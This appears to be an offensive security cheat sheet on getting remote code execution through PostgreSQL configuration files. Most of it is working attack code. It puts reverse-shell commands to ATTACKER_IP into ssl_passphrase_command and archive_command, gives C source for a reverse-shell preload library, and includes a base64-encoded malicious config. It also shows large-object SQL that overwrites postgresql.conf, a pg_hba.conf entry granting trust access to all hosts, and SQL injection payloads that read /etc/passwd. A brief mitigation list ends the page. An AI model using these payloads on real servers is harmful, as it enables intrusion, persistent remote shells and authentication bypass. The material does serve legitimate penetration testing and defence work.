Configuration File Exploitation
PostgreSQL configuration files can be exploited for remote code execution when an attacker has the ability to write to the filesystem. These techniques leverage PostgreSQL’s ability to reload configuration and execute commands defined in settings.
Prerequisites
Most of these attacks require:
- Write access to PostgreSQL config directory (
pg_write_server_filesor superuser) - Ability to trigger configuration reload (
pg_reload_conf()) - Knowledge of config file paths
Finding Configuration Files
-- Get configuration file paths
SELECT current_setting('config_file'); -- postgresql.conf
SELECT current_setting('hba_file'); -- pg_hba.conf
SELECT current_setting('ident_file'); -- pg_ident.conf
SELECT current_setting('data_directory'); -- Data directory
-- Get all config settings
SELECT name, setting, sourcefile FROM pg_settings WHERE sourcefile IS NOT NULL;
ssl_passphrase_command RCE
When SSL is enabled and a passphrase-protected key is used, PostgreSQL executes a command to retrieve the passphrase. This can be exploited for RCE.
Requirements:
- SSL must be configured
- Ability to modify postgresql.conf
- Ability to reload config or restart server
-- Check current SSL settings
SELECT name, setting FROM pg_settings WHERE name LIKE 'ssl%';
-- The attack: modify postgresql.conf to include:
-- ssl_passphrase_command = 'bash -c "bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1"'
-- ssl_passphrase_command_supports_reload = on
-- Then reload configuration
SELECT pg_reload_conf();
Via Large Objects (SQLi-friendly, avoids newline issues):
-- Import existing config
SELECT lo_import('/etc/postgresql/15/main/postgresql.conf'); -- Returns OID
-- Create modified config with malicious passphrase command
SELECT lo_from_bytea(0, decode('BASE64_ENCODED_MALICIOUS_CONFIG', 'base64'));
-- Export to overwrite config
SELECT lo_export(OID, '/etc/postgresql/15/main/postgresql.conf');
-- Trigger reload
SELECT pg_reload_conf();
archive_command RCE
When WAL archiving is enabled, PostgreSQL executes a command to archive each WAL segment. This can be exploited for persistent RCE.
Requirements:
archive_modemust beonoralways- Ability to modify postgresql.conf
- Ability to trigger WAL switch
-- Check archive settings
SELECT name, setting FROM pg_settings WHERE name LIKE 'archive%';
-- The attack: modify postgresql.conf to include:
-- archive_mode = 'on' (or 'always')
-- archive_command = 'bash -c "bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1"'
-- Reload configuration
SELECT pg_reload_conf();
-- Force WAL switch to trigger archive_command
SELECT pg_switch_wal(); -- PostgreSQL 10+
-- SELECT pg_switch_xlog(); -- PostgreSQL 9.x
Note: The archive_command executes every time a WAL segment is archived, providing persistent access.
session_preload_libraries Attack
PostgreSQL can load shared libraries at session start. An attacker can create a malicious library and configure it to be preloaded.
Requirements:
- Ability to upload .so file to server
- Ability to modify postgresql.conf
- Ability to establish new connection
Step 1: Create Malicious Library
// payload.c - compile with: gcc -shared -fPIC -o payload.so payload.c
#include <stdio.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <unistd.h>
void _init() {
int sock = socket(AF_INET, SOCK_STREAM, 0);
struct sockaddr_in addr;
addr.sin_family = AF_INET;
addr.sin_port = htons(4444);
addr.sin_addr.s_addr = inet_addr("ATTACKER_IP");
connect(sock, (struct sockaddr *)&addr, sizeof(addr));
dup2(sock, 0); dup2(sock, 1); dup2(sock, 2);
execve("/bin/sh", NULL, NULL);
}
Step 2: Upload Library
-- WARNING: COPY with convert_from corrupts binary data due to UTF8 conversion
-- This method may produce a broken .so file:
COPY (SELECT convert_from(decode('BASE64_ENCODED_SO', 'base64'), 'UTF8'))
TO '/tmp/payload.so';
-- Preferred: Use large objects for binary data (binary-safe)
-- Step 1: Create large object (returns OID, e.g., 16384)
SELECT lo_from_bytea(0, decode('BASE64_ENCODED_SO', 'base64'));
-- Step 2: Export using the returned OID (replace 16384 with actual OID)
SELECT lo_export(16384, '/tmp/payload.so');
-- Step 3: Cleanup
SELECT lo_unlink(16384);
-- Alternative: Single-shot execution with DO block (PL/pgSQL)
DO $$
DECLARE oid_var oid;
BEGIN
oid_var := lo_from_bytea(0, decode('BASE64_ENCODED_SO', 'base64'));
PERFORM lo_export(oid_var, '/tmp/payload.so');
PERFORM lo_unlink(oid_var);
END $$;
Step 3: Configure Preload
Modify postgresql.conf:
dynamic_library_path = '/tmp:$libdir'
session_preload_libraries = 'payload.so'
Step 4: Trigger
SELECT pg_reload_conf();
-- Shell executes on next connection
local_preload_libraries Attack
Similar to session_preload_libraries but can be set per-session without superuser (if library is in approved path):
-- Check current setting
SHOW local_preload_libraries;
-- This setting can be modified by regular users if library exists in:
-- - $libdir/plugins/
-- - A directory in dynamic_library_path marked as trusted
Modifying pg_hba.conf for Trust Access
If you can write to pg_hba.conf, you can enable passwordless authentication:
-- Find pg_hba.conf location
SELECT current_setting('hba_file');
-- Malicious pg_hba.conf entry (enables trust auth for all):
-- host all all 0.0.0.0/0 trust
-- After modifying, reload
SELECT pg_reload_conf();
Using Large Objects for Config Modification
Large objects are useful because they:
- Handle binary data properly
- Avoid newline/encoding issues in SQL injection
- Can be manipulated with SQL functions
Complete Config Modification Workflow:
Each lo_import and lo_from_bytea call returns a unique OID (object identifier) as a single-column, single-row result. You must read this OID from the query output and substitute it into subsequent lo_get, lo_export, and lo_unlink calls.
Capturing the OID:
- Interactive SQL clients (psql, pgAdmin): The OID appears as the query result - copy and paste it into the next statement
- UNION-based injection: Use
' UNION SELECT lo_import('/etc/passwd')--and read the OID from the displayed output - Error-based injection: Force the OID into an error message:
AND 1=CAST(lo_import('/etc/passwd') AS int)-- - Blind injection: Extract the OID digit-by-digit using boolean or time-based techniques, or use a DO block (see below) to avoid OID extraction entirely
For SQL injection contexts, the DO block approach (below) is recommended because it avoids the need to extract OIDs from query results.
-- Step 1: Import existing config to get baseline (returns OID, e.g., 16384)
SELECT lo_import('/etc/postgresql/15/main/postgresql.conf');
-- Step 2: Read current content using returned OID
SELECT convert_from(lo_get(16384), 'UTF8');
-- Step 3: Create new config with malicious content (returns OID, e.g., 16385)
SELECT lo_from_bytea(0, decode('
IyBNYWxpY2lvdXMgY29uZmlnCnNzbF9wYXNzcGhyYXNlX2NvbW1hbmQgPSAnYmFzaCAt
YyAiYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4wLjAuMS80NDQ0IDA+JjEiJwpzc2xfcGFz
c3BocmFzZV9jb21tYW5kX3N1cHBvcnRzX3JlbG9hZCA9IG9uCg==
', 'base64'));
-- Step 4: Export to overwrite config
SELECT lo_export(16385, '/etc/postgresql/15/main/postgresql.conf');
-- Step 5: Reload
SELECT pg_reload_conf();
-- Step 6: Cleanup
SELECT lo_unlink(16384);
SELECT lo_unlink(16385);
Alternative: Single-shot execution with DO block:
DO $$
DECLARE
config_oid oid;
new_oid oid;
BEGIN
-- Import existing config
config_oid := lo_import('/etc/postgresql/15/main/postgresql.conf');
-- Create malicious config
new_oid := lo_from_bytea(0, decode('BASE64_MALICIOUS_CONFIG', 'base64'));
-- Overwrite config
PERFORM lo_export(new_oid, '/etc/postgresql/15/main/postgresql.conf');
-- Cleanup
PERFORM lo_unlink(config_oid);
PERFORM lo_unlink(new_oid);
-- Reload
PERFORM pg_reload_conf();
END $$;
Checking Reload Capability
-- Check if user can reload config
SELECT has_function_privilege(current_user, 'pg_reload_conf()', 'execute');
-- Check if pg_signal_backend is available (can signal postmaster)
SELECT has_function_privilege(current_user, 'pg_signal_backend(integer, integer)', 'execute');
Config Settings Useful for Attacks
-- List dangerous settings that can execute commands
SELECT name, setting, context
FROM pg_settings
WHERE name IN (
'archive_command',
'ssl_passphrase_command',
'local_preload_libraries',
'session_preload_libraries',
'shared_preload_libraries',
'log_directory',
'log_filename'
);
-- Check if archive mode is enabled
SELECT name, setting FROM pg_settings WHERE name = 'archive_mode';
Injection Context Examples
-- Check config file paths (use dollar-quoting to avoid nested single-quote issues)
' UNION SELECT 1, current_setting($$config_file$$), 3--
-- Check if SSL passphrase command is set
' UNION SELECT 1, setting, 3 FROM pg_settings WHERE name=$$ssl_passphrase_command$$--
-- Trigger config reload (if permitted)
'; SELECT pg_reload_conf()--
-- Trigger WAL switch (if archive_command is set)
'; SELECT pg_switch_wal()--
Detection and Limitations
Limitations:
- Most config changes require superuser or specific file write roles
- Some settings require server restart, not just reload
- Modern PostgreSQL has restrictions on which settings can include commands
- SELinux/AppArmor may prevent writing to config directories
Settings Requiring Restart vs Reload:
| Setting | Reload | Restart | Notes |
|---|---|---|---|
| ssl_passphrase_command | Yes* | - | |
| archive_command | Yes | - | |
| session_preload_libraries | - | - | New sessions only** |
| shared_preload_libraries | - | Yes | |
| archive_mode | - | Yes |
*Requires ssl_passphrase_command_supports_reload = on
**Has superuser context: changes apply only to new connections, not existing sessions
Mitigation
- Restrict
pg_write_server_filesrole membership - Use read-only config directories where possible
- Monitor changes to postgresql.conf
- Disable unused features (SSL, archiving) if not needed
- Use SELinux/AppArmor to protect config files